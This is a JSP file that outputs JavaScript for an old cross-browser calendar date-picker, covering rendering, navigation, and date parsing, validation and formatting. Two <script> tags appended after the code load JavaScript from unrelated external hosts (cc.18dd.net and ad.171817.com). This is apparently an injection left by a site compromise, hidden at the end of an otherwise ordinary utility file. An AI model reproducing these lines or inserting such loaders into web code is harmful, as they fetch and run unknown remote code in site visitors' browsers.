<%@ page contentType="application/x-javascript" %>
<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ page import="com.dcivision.framework.*" %>
<jsp:useBean id="session_context" scope="session" class="com.dcivision.framework.SessionContainer"/>
	var timeoutDelay = 3000; // milliseconds, change this if you like, set to 0 for the calendar to never auto disappear
	var g_startDay = 0 // 0=sunday, 1=monday
	var g_nullDate = '1900-01-01';

	// preload images
	var imgUp = new Image(8,12);
	imgUp.src = '<html:img src='IconCalendarNext.gif'  pathOnly='true'/>';
	var imgDown = new Image(8,12);
	imgDown.src = '<html:img src='IconCalendarPrev.gif'  pathOnly='true'/>';

	// used by timeout auto hide functions
	var timeoutId = false;

	// the now standard browser sniffer class
	function Browser(){
	  this.dom = document.getElementById?1:0;
	  this.ie4 = (document.all && !this.dom)?1:0;
	  this.ns4 = (document.layers && !this.dom)?1:0;
	  this.ns6 = (this.dom && !document.all)?1:0;
	  this.ie5 = (this.dom && document.all)?1:0;
	  this.ok = this.dom || this.ie4 || this.ns4;
	  this.platform = navigator.platform;
	}
	var browser = new Browser();

	// dom browsers require this written to the HEAD section

	if (browser.dom || browser.ie4){
	    document.writeln('<style>');
		document.writeln('#container {');
		document.writeln('position : absolute;');
		document.writeln('left : 100px;');
		document.writeln('top : 100px;');
		document.writeln('width : 184px;');;
		browser.platform=='Win32'?height=140:height=145;
		document.writeln('height : ' + height +'px;');
		document.writeln('clip:rect(0px 184px ' + height + 'px 0px);');
		//document.writeln('overflow : hidden;');
		document.writeln('visibility : hidden;');
		document.writeln('background-color : #ffffff');
		document.writeln('}');
		document.writeln('</style>')
		document.write('<div id="container"');
		if (timeoutDelay) document.write(' onmouseout="calendarTimeout();" onmouseover="if (timeoutId) clearTimeout(timeoutId);"');
		document.write('></div>');
	}

	var g_Calendar;  // global to hold the calendar reference, set by constructor

	function calendarTimeout(){
	  if (browser.ie4 || browser.ie5){
	    if (window.event.srcElement && window.event.srcElement.name!='month') timeoutId=setTimeout('g_Calendar.hide();',timeoutDelay);
	  }
	  if (browser.ns6 || browser.ns4){
	    timeoutId=setTimeout('g_Calendar.hide();',timeoutDelay);
	  }
	}

	// constructor for calendar class
	function Calendar(){
	  g_Calendar = this;
	  // some constants needed throughout the program
	  this.daysOfWeek = new Array("Sun","Mon","Tue","Wed","Thu","Fri","Sat");
	  this.months = new Array("January","February","March","April","May","June","July","August","September","October","November","December");
	  this.daysInMonth = new Array(31, 28, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31);

	  if (browser.ns4){
	    var tmpLayer = new Layer(127);
		if (timeoutDelay){
		  tmpLayer.captureEvents(Event.MOUSEOVER | Event.MOUSEOUT);
		  tmpLayer.onmouseover = function(event) { if (timeoutId) clearTimeout(timeoutId); };
		  tmpLayer.onmouseout = function(event) { timeoutId=setTimeout('g_Calendar.hide()',timeoutDelay);};
		}
	    tmpLayer.x = 100;
	    tmpLayer.y = 100;
	    tmpLayer.bgColor = "#ffffff";
	  }
	  if (browser.dom || browser.ie4){
		var tmpLayer = browser.dom?document.getElementById('container'):document.all.container;
	  }
	  this.containerLayer = tmpLayer;
	  if (browser.ns4 && browser.platform=='Win32') {
	    this.containerLayer.clip.height=134;
	    this.containerLayer.clip.width=127;
	  }

	}

 	Calendar.prototype.getFirstDOM = function() {
		var thedate = new Date();
		thedate.setDate(1);
		thedate.setMonth(this.month);
		thedate.setFullYear(this.year);
		return thedate.getDay();
	}

	Calendar.prototype.getDaysInMonth = function (){
	   if (this.month!=1) {
	   return this.daysInMonth[this.month]
	   }
	   else {
	     // is it a leap year
		    if (BetterDate.isLeapYear(this.year)) {
			  return 29;
			}
		    else {
			  return 28;
			}
	   }
	}

	Calendar.prototype.buildString = function(){
	  var tmpStr = '<form onSubmit="this.year.blur();return false;"><table width="100%" border="0" cellspacing="0" cellpadding="2" class="calBorderColor"><tr><td valign="top"><table width="100%" border="0" cellspacing="0" cellpadding="1" class="calBgColor">';
	  tmpStr += '<tr>';
	  tmpStr += '<td width="10%" class="cal" align="center"><a href="javascript: g_Calendar.changeMonth(-1);"><img name="calendar" src="<html:img src='IconCalendarPrev.gif'  pathOnly='true'/>" width="8" height="12" border="0" alt=""></a></td><td width="55%" class="cal" align="right">';
	  if (this.hasDropDown) {
	    tmpStr += '<select class="month" name="month" onchange="g_Calendar.selectChange();">';
		for (var i=0;i<this.months.length;i++){
	      tmpStr += '<option value="' + i + '"'
		  if (i == this.month) tmpStr += ' selected';
		  tmpStr += '>' + this.months[i] + '</option>';
	    }
	    tmpStr += '</select>';
	  } else {
	    tmpStr += '<table border="0" cellspacing="0" cellpadding="0"><tr><td><a href="javascript: g_Calendar.changeMonth(-1);"><img name="calendar" src="<html:img src='IconCalendarPrev.gif'  pathOnly='true'/>" width="8" height="12" border="0" alt=""></a></td><td class="cal" width="100%" align="center">' + this.months[this.month] + '</td><td class="cal"><a href="javascript: g_Calendar.changeMonth(+1);"><img name="calendar" src="<html:img src='IconCalendarNext.gif'  pathOnly='true'/>" width="8" height="12" border="0" alt=""></a></td></tr></table>';
	  }
	  tmpStr += '&nbsp;</td>';
	  /* observation : for some reason if the below event is changed to 'onChange' rather than 'onBlur' it totally crashes IE (4 and 5)!
	  */
	  tmpStr += '<td width="25%" align="left" class="cal">';

	  if (this.hasDropDown) {
	    tmpStr += '<input class="year" type="text" size="';
	    // get round NS4 win32 lenght of year input problem
	    (browser.ns4 && browser.platform=='Win32')?tmpStr += 1:tmpStr += 4;
	  tmpStr += '" name="year" maxlength="4" onBlur="g_Calendar.inputChange();" value="' + this.year + '">';
	  } else {
	  tmpStr += '<table border="0" cellspacing="0" cellpadding="0"><tr><td class="cal"><a href="javascript: g_Calendar.changeYear(-1);"><img name="calendar" src="<html:img src='IconCalendarPrev.gif'  pathOnly='true'/>" width="8" height="12" border="0" alt=""></a></td><td class="cal" width="100%" align="center">' + this.year + '</td><td class="cal"><a href="javascript: g_Calendar.changeYear(+1);"><img name="calendar" src="<html:img src='IconCalendarNext.gif'  pathOnly='true'/>" width="8" height="12" border="0" alt=""></a></td></tr></table>'
	  }
	  tmpStr += '</td><td width="10%" align="center" class="cal"><a href="javascript: g_Calendar.changeMonth(+1);"><img name="calendar" src="<html:img src='IconCalendarNext.gif'  pathOnly='true'/>" width="8" height="12" border="0" alt=""></a></td>';
	  tmpStr += '</tr>';
	  tmpStr += '</table>';
	  var iCount = 1;
	  var iFirstDOM = this.getFirstDOM()-g_startDay; // to prevent calling it in a loop
	  if (iFirstDOM < 0 ) iFirstDOM = iFirstDOM + 7;
	  //alert(iFirstDOM);
	  var iDaysInMonth = this.getDaysInMonth(); // to prevent calling it in a loop

	  tmpStr += '<table width="100%" border="0" cellspacing="0" cellpadding="1" class="calBgColor">';
	  tmpStr += '<tr>';
	    for (var i=0;i<7;i++){
		  tmpStr += '<td align="center" class="calDaysColor" width="14%">' + this.daysOfWeek[(g_startDay+i)%7] + '</td>';
		}
	  tmpStr += '</tr>';
	  var tmpFrom = parseInt('' + this.dateFromYear + this.dateFromMonth + this.dateFromDay,10);
	  var tmpTo = parseInt('' + this.dateToYear + this.dateToMonth + this.dateToDay,10);
	  var tmpCompare;
	  for (var j=1;j<=6;j++){
	     tmpStr += '<tr>';
	     for (var i=1;i<=7;i++){
		   tmpStr += '<td width="14%" align="center" '
		   if ( (7*(j-1) + i)>=iFirstDOM+1  && iCount <= iDaysInMonth){
		     if (iCount==this.day && this.year==this.oYear && this.month==this.oMonth) {
		        tmpStr += 'class="calHighlightColor"';
			 } else {
			    if (i==1) tmpStr += 'class="calWeekend"';
				else tmpStr += 'class="cal"';
			 }
		     tmpStr += '>';
			 /* could create a date object here and compare that but probably more efficient to convert to a number
			   and compare number as numbers are primitives */
			 tmpCompare = parseInt('' + this.year + padZero(this.month) + padZero(iCount),10);
			 if (tmpCompare >= tmpFrom && tmpCompare <= tmpTo) {
			   if (i==1) {
			     tmpStr += '<a class="calWeekend" href="javascript: g_Calendar.clickDay(' + iCount + ');">' + padZero(iCount) + '</a>';
			   } else {
			     tmpStr += '<a class="cal" href="javascript: g_Calendar.clickDay(' + iCount + ');">' + padZero(iCount) + '</a>';
			   }
			 } else {
			   tmpStr += '<span class="disabled">' + padZero(iCount) + '</span>';
			 }
			 iCount++;
		   } else {
		     if  (i==1) tmpStr += 'class="calWeekend"'; else tmpStr +='class="cal"';
			 tmpStr += '>&nbsp;';
		   }
		   tmpStr += '</td>'
		 }
		 tmpStr += '</tr>'
	  }
	  tmpStr += '</table></td></tr></table></form>'
	  return tmpStr;
	}

	Calendar.prototype.selectChange = function(){
	  this.month = browser.ns6?this.containerLayer.ownerDocument.forms[0].month.selectedIndex:this.containerLayer.document.forms[0].month.selectedIndex;
	  this.writeString(this.buildString());
	}

	Calendar.prototype.inputChange = function(){
	  var tmp = browser.ns6?this.containerLayer.ownerDocument.forms[0].year:this.containerLayer.document.forms[0].year;
	  if (tmp.value >=1900 || tmp.value <=2100){
	    this.year = tmp.value;
	    this.writeString(this.buildString());
	  } else {
	    tmp.value = this.year;
	  }
	}
	Calendar.prototype.changeYear = function(incr){
	   (incr==1)?this.year++:this.year--;
	   this.writeString(this.buildString());
	}
	Calendar.prototype.changeMonth = function(incr){
	    if (this.month==11 && incr==1){
	      this.month = 0;
	  	  this.year++;
	    } else {
	      if (this.month==0 && incr==-1){
	        this.month = 11;
		    this.year--;
	      } else {
		    (incr==1)?this.month++:this.month--;
		  }
		}
		this.writeString(this.buildString());
	}

	Calendar.prototype.clickDay = function(day){
	   var frm;
       for (var i = 0; i < document.forms.length; i++) {
         if (document.forms[i].name != "") {
           frm = document.forms[i];
           if (eval('frm.'+this.target)){
             break;
           }
         }
       }
	   var tmp = eval('frm.' + 'dummy_' + this.target);
	   var hiddenTmp = eval ('frm.' + this.target);
	   if (this.dateFormat=='dd-mmm-yyyy') tmp.value = padZero(day) + this.dateDelim + this.months[this.month].substr(0,3) + this.dateDelim + this.year;
	   if (this.dateFormat=='dd/mm/yyyy' || this.dateFormat=='dd-mm-yyyy') tmp.value = padZero(day) + this.dateDelim + padZero((this.month+1)) + this.dateDelim + this.year;
	   if (this.dateFormat=='mm/dd/yyyy' || this.dateFormat=='mm-dd-yyyy') tmp.value = padZero((this.month+1)) + this.dateDelim + padZero(day) + this.dateDelim + this.year;
	   if (this.dateFormat=='yyyy/mm/dd' || this.dateFormat=='yyyy-mm-dd' ) tmp.value = this.year + this.dateDelim + padZero((this.month+1)) + this.dateDelim + padZero(day);
	   if (this.dateFormat=='yyyy/dd/mm') tmp.value = this.year + this.dateDelim + padZero(day) + this.dateDelim + padZero((this.month+1));

	    if (browser.ns4) this.containerLayer.hidden=true;
	    if (browser.dom || browser.ie4){
	      this.containerLayer.style.visibility='hidden'
	    }

	    this.formatActualValue(tmp, this.dateFormat, this.dateDelim);
	}

	Calendar.prototype.writeString = function(str){
	  if (browser.ns4){
	    this.containerLayer.document.open();
	    this.containerLayer.document.write(str);
	    this.containerLayer.document.close();
	  }
	  if (browser.dom || browser.ie4){
	    this.containerLayer.innerHTML = str;
	  }
	}

	Calendar.prototype.show = function(event, target, bHasDropDown, dateFormat, showDate, showTime, dateFrom, dateTo, bIsTop){
	// calendar can restrict choices between 2 dates, if however no restrictions
	// are made, let them choose any date between 1900 and 3000
    var posIsTop = false;
    var posIsLeft = false;
    var topOffset = 0;
    var leftOffset = 0;
    if (bIsTop) {
        topOffset = parseInt(bIsTop, 10);
        posIsTop = true;
    }
    if (showTime) {
        leftOffset = parseInt(184, 10);
        topOffset = topOffset - 22;
        posIsTop = true;
        posIsLeft = true;
    }
	if (dateFrom) this.dateFrom = dateFrom; else this.dateFrom = new Date(1900,0,1);
	this.dateFromDay = padZero(this.dateFrom.getDate());
	this.dateFromMonth = padZero(this.dateFrom.getMonth());
	this.dateFromYear = this.dateFrom.getFullYear();
	if (dateTo) this.dateTo = dateTo; else this.dateTo = new Date(3000,0,1);
	this.dateToDay = padZero(this.dateTo.getDate());
	this.dateToMonth = padZero(this.dateTo.getMonth());
	this.dateToYear = this.dateTo.getFullYear();
	this.hasDropDown = bHasDropDown;
	if (dateFormat) this.dateFormat = dateFormat; else this.dateFormat = 'dd-mmm-yyyy';
	switch (this.dateFormat){
	  case 'dd-mmm-yyyy':
	  case 'yyyy-mm-dd':
	  case 'dd-mm-yyyy':
	  case 'mm-dd-yyyy':
	    this.dateDelim = '-';
		break;
	  case 'dd/mm/yyyy':
	  case 'mm/dd/yyyy':
	  case 'yyyy/mm/dd':
	  case 'yyyy/dd/mm':
	    this.dateDelim = '/';
		break;
	}

	  if (browser.ns4) {
	    if (!this.containerLayer.hidden) {
		  this.containerLayer.hidden=true;
		  return;
		}
	   }
	  if (browser.dom || browser.ie4){
	    if (this.containerLayer.style.visibility=='visible') {
		  this.containerLayer.style.visibility='hidden';
		  return;
		}
	  }

	  if (browser.ie5 || browser.ie4){
	    var event = window.event;
	  }
	  if (browser.ns4){
	    this.containerLayer.x = event.x + 10 - (posIsLeft ? leftOffset : 0);
	    this.containerLayer.y = event.y - 5 - (posIsTop ? topOffset : 0);
	  }
	  if (browser.ie5 || browser.ie4){
	    var obj = event.srcElement;
 	    x = 0;
  		while (obj.offsetParent != null) {
    		  x += obj.offsetLeft;
    		  obj = obj.offsetParent;
  		}
  		x += obj.offsetLeft;
	    y = 0;
		var obj = event.srcElement;
	    while (obj.offsetParent != null) {
    		  y += obj.offsetTop;
    		  obj = obj.offsetParent;
  		}
  		y += obj.offsetTop;

        this.containerLayer.style.left = x+35 - (posIsLeft ? leftOffset : 0);
		if (event.y>0)this.containerLayer.style.top = y - (posIsTop ? topOffset : 0);
	  }
	  if (browser.ns6){
	    this.containerLayer.style.left = event.pageX + 10 - (posIsLeft ? leftOffset : 0);
		this.containerLayer.style.top = event.pageY - 5 - (posIsTop ? topOffset : 0);
	  }
	  this.target = target;

      var frm;
      for (var i = 0; i < document.forms.length; i++) {
        if (document.forms[i].name != "") {
          frm = document.forms[i];
          if (eval('frm.' + 'dummy_' + this.target)) {
            break;
          }
        }
      }

	  var tmp = eval('frm.' + 'dummy_' + this.target);
	  var hiddenTmp = eval('frm.' + this.target);
	  if (tmp && tmp.value && tmp.value.split(this.dateDelim).length==3){
	    var atmp = tmp.value.split(this.dateDelim)
		switch (this.dateFormat){
		 case 'dd-mmm-yyyy':
		   for (var i=0;i<this.months.length;i++){
		     if (atmp[1].toLowerCase()==this.months[i].substr(0,3).toLowerCase()){
		       this.month = this.oMonth = i;
			   break;
		     }
		   }
		   this.day = parseInt(atmp[0],10);
		   this.year = parseInt(atmp[2],10);
		   break;
		 case 'dd/mm/yyyy':
		 case 'dd-mm-yyyy':
		   this.month = this.oMonth = parseInt(atmp[1]-1,10);
		   this.day = parseInt(atmp[0],10);
		   this.year = parseInt(atmp[2],10);
		   break;
		 case 'mm/dd/yyyy':
		 case 'mm-dd-yyyy':
		   this.month = this.oMonth = parseInt(atmp[0]-1,10);
		   this.day = parseInt(atmp[1],10);
		   this.year = parseInt(atmp[2],10);
		   break;
		 case 'yyyy-mm-dd':
		 case 'yyyy/mm/dd':
		   this.month = this.oMonth = parseInt(atmp[1]-1,10);
		   this.day = parseInt(atmp[2],10);
		   this.year = parseInt(atmp[0],10);
		   break;
		 case 'yyyy/dd/mm':
		   this.month = this.oMonth = parseInt(atmp[2]-1,10);
		   this.day = parseInt(atmp[1],10);
		   this.year = parseInt(atmp[0],10);
		}
	  } else { // no date set, default to today
	    var theDate = new Date();
	  	 this.year = this.oYear = theDate.getFullYear();
	     this.month = this.oMonth = theDate.getMonth();
	     this.day = this.oDay = theDate.getDate();
	  }
	  this.writeString(this.buildString());

	  // and then show it!
	   if (browser.ns4) {
	   this.containerLayer.hidden=false;
	   }
	  if (browser.dom || browser.ie4){
	      this.containerLayer.style.visibility='visible';
	  }
	}

	Calendar.prototype.hide = function(){
	  if (browser.ns4) this.containerLayer.hidden = true;
	  if (browser.dom || browser.ie4){
	    this.containerLayer.style.visibility='hidden';
	  }
	}

	function handleDocumentClick(e){
	  if (!g_Calendar) {
	      return;
	  }

	  if (browser.ie4 || browser.ie5) e = window.event;

	  if (browser.ns6){
	    var bTest = (e.pageX > parseInt(g_Calendar.containerLayer.style.left,10) && e.pageX <  (parseInt(g_Calendar.containerLayer.style.left,10)+125) && e.pageY < (parseInt(g_Calendar.containerLayer.style.top,10)+125) && e.pageY > parseInt(g_Calendar.containerLayer.style.top,10));
	    if (e.target.name!='imgCalendar' && e.target.name!='month'  && e.target.name!='year' && e.target.name!='calendar' && !bTest){
		  g_Calendar.hide();
		}
	  }
	  if (browser.ie4 || browser.ie5){
		// extra test to see if user clicked inside the calendar but not on a valid date, we don't want it to disappear in this case
	   var bTest = (e.x > parseInt(g_Calendar.containerLayer.style.left,10) && e.x <  (parseInt(g_Calendar.containerLayer.style.left,10)+125) && e.y < (parseInt(g_Calendar.containerLayer.style.top,10)+125) && e.y > parseInt(g_Calendar.containerLayer.style.top,10));
	    if (e.srcElement.name!='imgCalendar' && e.srcElement.name!='month' && e.srcElement.name!='year' && !bTest & typeof(e.srcElement)!='object'){
		  g_Calendar.hide();
		}
	  }
	  if (browser.ns4) g_Calendar.hide();
	}

	// utility function
	function padZero(num) {
	  return ((num <= 9) ? ("0" + num) : num);
	}
	  // javascript does not seem to allow you to inherit from the native date object
	  // so here is my makeshift extension of Date();
	  function BetterDate(year,month,day){
	    this.date = (arguments.length == 3)?new Date(year,month,day):new Date();
	  }
	  BetterDate.isLeapYear = function(year){ if (year%4==0 && ((year%100!=0) || (year%400==0))) return true; else return false; }
	  BetterDate.daysInYear = function(year){ if (BetterDate.isLeapYear(year)) return 366; else return 365;}
	  BetterDate.prototype.addDays = function(numDays){
		var accumulate    = new Array(0,31, 59, 90,120,151,181,212,243,273,304,334);
		var accumulateLY  = new Array(0,31, 60, 91,121,152,182,213,244,274,305,335);
	    var year = this.date.getFullYear();
		var month = this.date.getMonth();
		var day = this.date.getDate();
		if (BetterDate.isLeapYear(year)) var number = day + accumulateLY[month] + numDays;
	    else var number = day + accumulate[month]   + numDays;
	    var days = BetterDate.daysInYear(year);
	    while (number > days) {
	        number -= days;
	        days = BetterDate.daysInYear(++year);
	    }
	    while (number < 1) {
	        days = BetterDate.daysInYear(--year);
	        number += days;
	    }
	    month = 0;
	    if (BetterDate.isLeapYear(year)) {
	        while (number > accumulateLY[month]) { month++; }
	        day = number - accumulateLY[--month];
	    }
	    else {
	        while (number > accumulate[month]) { month++; }
	        day = number - accumulate[--month];
	    }
		return new Date(year,month,day);
	  }		/* end of adaptation */

	 // events capturing, careful you don't override this by setting something in the onload event of
	// the body tag
//	window.onload=function(){ new Calendar(new Date());}
	if (browser.ns4) window.onresize = function(){window.location.reload(false);} // ns4 resize bug workaround
	window.document.onclick=handleDocumentClick;
    window.onerror = function(msg,url,line){
	  alert('******* Errors have occurred ********'
	  + '\n\n------------------------------------------------------'
	  + '\nError details:'
	  + '\nText:' + msg + '\nURL:' + url + '\nLine:' + line);
	}

	Calendar.prototype.validateInput = function(elm, format) {
        var errorFlag = false;
        var delim;
        var matched;

        if (elm.value.length == 0) {
            errorFlag = false;
        } else {
            var dateRegexp;
            var dayVal, monthVal, yearVal;

            switch( format){
              case 'dd-mmm-yyyy':
                delim =  '-';
                dateRegexp = new RegExp("^(\\d{2})[-](\\D{3})[-](\\d{4})$");
                matched = dateRegexp.exec(elm.value);
                if (matched != null) {
                      dayVal =  parseInt(elm.value.substring(0, 2), 10);
                      stmp = elm.value.substring(3, 6);
                      for (var i=0;i<this.months.length;i++){
                        if (stmp.toLowerCase()==this.months[i].substr(0,3).toLowerCase()){
                          monthVal = i;
                          break;
                        }
                      }
                      yearVal = parseInt(elm.value.substring(7), 10);
                } else {
                  errorFlag = true;
                  //return (!errorFlag);
                }
                break;
              case 'dd/mm/yyyy':
              case 'dd-mm-yyyy':
                delim = format.substring(2,3);
                dateRegexp = new RegExp("^(\\d{2})["+delim+"](\\d{2})["+delim+"](\\d{4})$");
                matched = dateRegexp.exec(elm.value);
                if (matched != null) {
                      dayVal = parseInt(elm.value.substring(0,2), 10);
                      monthVal = parseInt(elm.value.substring(3,5), 10) - 1;
                      yearVal = parseInt(elm.value.substring(6), 10);
                } else {
                  errorFlag = true;
                  //return (!errorFlag);
                }
                break;
              case 'mm/dd/yyyy':
              case 'mm-dd-yyyy':
                delim = format.substring(2,3);
                dateRegexp = new RegExp("^(\\d{2})["+delim+"](\\d{2})["+delim+"](\\d{4})$");
                matched = dateRegexp.exec(elm.value);
                if (matched != null) {
                      dayVal = parseInt(elm.value.substring(3,5), 10);
                      monthVal = parseInt(elm.value.substring(0,2), 10) - 1;
                      yearVal = parseInt(elm.value.substring(6), 10);
                } else {
                  errorFlag = true;
                  //return (!errorFlag);
                }
                break;
              case 'yyyy/mm/dd':
              case 'yyyy-mm-dd':
                delim = format.substring(4,5);
                dateRegexp = new RegExp("^(\\d{4})["+delim+"](\\d{2})["+delim+"](\\d{2})$");
                matched = dateRegexp.exec(elm.value);
                if (matched != null) {
                      dayVal = parseInt(elm.value.substring(8), 10);
                      monthVal = parseInt(elm.value.substring(5,7), 10) - 1;
                      yearVal = parseInt(elm.value.substring(0,5), 10);
                } else {
                  errorFlag = true;
                  //return (!errorFlag);
                }
                break;
              case 'yyyy/dd/mm':
                delim = format.substring(4,5);
                dateRegexp = new RegExp("^(\\d{4})["+delim+"](\\d{2})["+delim+"](\\d{2})$");
                matched = dateRegexp.exec(elm.value);
                if (matched != null) {
                      dayVal = parseInt(elm.value.substring(5,7), 10);
                      monthVal = parseInt(elm.value.substring(8), 10) - 1;
                      yearVal = parseInt(elm.value.substring(0,5), 10);
                } else {
                  errorFlag = true;
                  //return (!errorFlag);
                }
                break;
            }

            var tmpDate = new Date(yearVal, monthVal, dayVal);
            if (tmpDate.getFullYear() == yearVal
                && tmpDate.getMonth() == monthVal
                && tmpDate.getDate() == dayVal) {
                errorFlag = false;
            } else {
                errorFlag = true;
            }
        }

        if (errorFlag) {
            alert("Invalid Date Format, should be (" + format + ")");
            elm.select();
            elm.focus();
        } else {
            errorFlag = this.formatActualValue(elm, format, delim);
        }
        return(!errorFlag);
    }

  Calendar.prototype.formatActualValue = function(elm, format, delim) {
      var errorFlag = false;

      if (format!=null) {
        this.dateFormat = format;
      }
      if (delim!=null) {
        this.dateDelim = delim;
      }

      frm = elm.form;

      pos = (elm.name).indexOf("_");
      this.target = (elm.name).substr(pos+1);

      var hour = eval('frm.hour_'+this.target);
      var minute = eval('frm.min_'+this.target);
      var hiddenVal = eval('frm.'+this.target);
      var dateVal = eval('frm.dummy_'+this.target);

      var sHour, sMinute, sDate;
      if (hour) {
        sHour = hour.value;
      } else {
        sHour = '00';
      }

      if (minute) {
        sMinute = minute.value;
      } else {
        sMinute = '00';
      }

      if (dateVal && dateVal.value!='') {
    	    var atmp = dateVal.value.split(this.dateDelim);
      		switch (this.dateFormat){
      		 case 'dd-mmm-yyyy':
      		   for (var i=0;i<this.months.length;i++){
      		     if (atmp[1].toLowerCase()==this.months[i].substr(0,3).toLowerCase()){
      		       this.month = this.oMonth = i;
      			   break;
      		     }
      		   }
      		   this.day = parseInt(atmp[0],10);
      		   this.year = parseInt(atmp[2],10);
      		   break;
      		 case 'dd/mm/yyyy':
      		 case 'dd-mm-yyyy':
      		   this.month = this.oMonth = parseInt(atmp[1]-1,10);
      		   this.day = parseInt(atmp[0],10);
      		   this.year = parseInt(atmp[2],10);
      		   break;
      		 case 'mm/dd/yyyy':
      		 case 'mm-dd-yyyy':
      		   this.month = this.oMonth = parseInt(atmp[0]-1,10);
      		   this.day = parseInt(atmp[1],10);
      		   this.year = parseInt(atmp[2],10);
      		   break;
      		 case 'yyyy-mm-dd':
      		 case 'yyyy/mm/dd':
      		   this.month = this.oMonth = parseInt(atmp[1]-1,10);
      		   this.day = parseInt(atmp[2],10);
      		   this.year = parseInt(atmp[0],10);
      		   break;
      		 case 'yyyy/dd/mm':
      		   this.month = this.oMonth = parseInt(atmp[2]-1,10);
      		   this.day = parseInt(atmp[1],10);
      		   this.year = parseInt(atmp[0],10);
      		}
      		sDate = this.year + "-" + padZero((this.month+1)) + "-" + padZero(this.day);
      } else if (dateVal) {
        sDate = '';
      } else {
        sDate = g_nullDate;
      }

      if (sDate!='') {
        hiddenVal.value = sDate + ' ' + sHour + ':' + sMinute + ':00';
      } else {
        hiddenVal.value = '';
      }
//      alert(hiddenVal.value);

      return (!errorFlag);
  }

  Calendar.prototype.setDatePicker = function(dateStr, frm, datePickerName) {
    if (dateStr.length==0) {
      frm.elements[datePickerName].value = "";
      frm.elements["dummy_" + datePickerName].value = "";
      frm.elements["hour_" + datePickerName].selectedIndex = 0;
      frm.elements["min_" + datePickerName].selectedIndex = 0;
      return;
    }

    var dtFmt = "<%=SystemParameterFactory.getSystemParameter(SystemParameterConstant.DATE_FORMAT).toLowerCase()%>";
    var yearStr = dateStr.substring(0, 4);
    var monStr = dateStr.substring(5, 7);
    var dayStr = dateStr.substring(8, 10);
    var hrStr = dateStr.substring(11, 13);
    var minStr = dateStr.substring(14, 16);
    var resultStr = "";

    switch (dtFmt) {
      case 'dd-mmm-yyyy':
        resultStr = dayStr + "-" + this.months[parseInt(monStr, 10) - 1].substr(0,3) + "-" + yearStr;
      break;
	 	  case 'dd/mm/yyyy':
	 	    resultStr = dayStr + "/" + monStr + "/" + yearStr;
	 	  break;
		  case 'dd-mm-yyyy':
		    resultStr = dayStr + "-" + monStr + "-" + yearStr;
		  break;
		  case 'mm/dd/yyyy':
		    resultStr = monStr + "/" + dayStr + "/" + yearStr;
		  break;
		  case 'mm-dd-yyyy':
		    resultStr = monStr + "-" + dayStr + "-" + yearStr;
		  break;
		  case 'yyyy-mm-dd':
		    resultStr = yearStr + "-" + monStr + "-" + dayStr;
		  break;
		  case 'yyyy/mm/dd':
        resultStr = yearStr + "/" + monStr + "/" + dayStr;
  	  break;
		  case 'yyyy/dd/mm':
		    resultStr = yearStr + "/" + dayStr + "/" + monStr;
		  break;
    }

    frm.elements[datePickerName].value = dateStr;
    if (g_nullDate == dateStr.substring(0, 10)) {
      frm.elements["dummy_" + datePickerName].value = "";
    } else {
      frm.elements["dummy_" + datePickerName].value = resultStr;
    }
    if (frm.elements["hour_" + datePickerName].type == "text") {
      frm.elements["hour_" + datePickerName].value = hrStr;
      frm.elements["min_" + datePickerName].value = minStr;
    } else {
      frm.elements["hour_" + datePickerName].selectedIndex = parseInt(hrStr, 10);
      frm.elements["min_" + datePickerName].selectedIndex = parseInt(minStr, 10);
    }
  }

<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>